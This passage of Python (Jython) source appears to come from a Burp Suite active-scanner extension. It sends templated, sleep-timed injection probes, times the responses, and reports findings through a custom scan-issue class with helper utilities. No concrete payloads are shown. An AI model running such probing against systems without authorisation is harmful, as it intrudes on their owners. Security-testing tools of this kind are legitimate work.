def _attack(self, basePair, insertionPoint, payload, sleeptime):
payload = Template(payload).substitute(time=sleeptime)
# Use a hack to time the request. This information should be accessible via the API eventually.
timer = time.time()
attack = request(basePair, insertionPoint, payload)
timer = time.time() - timer
debug_msg("Response time: " + str(round(timer, 2)) + "| Payload: " + payload)
requestHighlights = insertionPoint.getPayloadOffsets(payload)
if (not isinstance(requestHighlights, list)):
requestHighlights = [requestHighlights]
attack = callbacks.applyMarkers(attack, requestHighlights, None)
return (timer, attack)
def doPassiveScan(self, basePair):
return []
def consolidateDuplicateIssues(self, existingIssue, newIssue):
return is_same_issue(existingIssue, newIssue)
class CustomScanIssue(IScanIssue):
def __init__(self, httpService, url, httpMessages, name, detail, confidence, severity):
self.HttpService = httpService
self.Url = url
self.HttpMessages = httpMessages
self.Name = name
self.Detail = detail
self.Severity = severity
self.Confidence = confidence
print "Reported: " + name + " on " + str(url)
return
def getUrl(self):
return self.Url
def getIssueName(self):
return self.Name
def getIssueType(self):
return 0
def getSeverity(self):
return self.Severity
def getConfidence(self):
return self.Confidence
def getIssueBackground(self):
return None
def getRemediationBackground(self):
return None
def getIssueDetail(self):
return self.Detail
def getRemediationDetail(self):
return None
def getHttpMessages(self):
return self.HttpMessages
def getHttpService(self):
return self.HttpService
# misc utility methods
def launchPassiveScan(attack):
if attack.getResponse() is None:
return
service = attack.getHttpService()
using_https = service.getProtocol() == 'https'
callbacks.doPassiveScan(service.getHost(), service.getPort(), using_https, attack.getRequest(),
attack.getResponse())
return
def location(url):
return url.getProtocol() + "://" + url.getAuthority() + url.getPath()
def htmllist(list):
list = ["<li>" + item + "</li>" for item in list]
return "<ul>" + "\n".join(list) + "</ul>"
def tagmap(resp):
tags = ''.join(re.findall("(?im)(<[a-z]+)", resp))
return tags
def randstr(length=12, allow_digits=True):
candidates = string.ascii_lowercase
if allow_digits:
candidates += string.digits
return ''.join(random.choice(candidates) for x in range(length))
def hit(resp, baseprint):
return (baseprint == tagmap(resp))
def anchor_change(probe, expect):
left = randstr(4)
right = randstr(4, allow_digits=False)
probe = left + probe + right
expected = []
for x in expect:
expected.append(left + x + right)
return probe, expected
# currently unused as .getUrl() ignores the query string
def issuesMatch(existingIssue, newIssue):
if (existingIssue.getUrl() == newIssue.getUrl() and existingIssue.getIssueName() == newIssue.getIssueName()):
return -1
else:
return 0
def getIssues(name):
prev_reported = filter(lambda i: i.getIssueName() == name, callbacks.getScanIssues(''))
return (map(lambda i: i.getUrl(), prev_reported))
def request(basePair, insertionPoint, attack):
req = insertionPoint.buildRequest(attack)
return callbacks.makeHttpRequest(basePair.getHttpService(), req)
def is_same_issue(existingIssue, newIssue):
if existingIssue.getIssueName() == newIssue.getIssueName():
return -1
else:
return 0
def debug_msg(message):
if DEBUG:
print message
def setHeader(request, name, value, add_if_not_present=False):
# find the end of the headers
prev = ''
i = 0
while i < len(request):
this = request[i]
if prev == '\n' and this == '\n':
break
if prev == '\r' and this == '\n' and request[i - 2] == '\n':
break
prev = this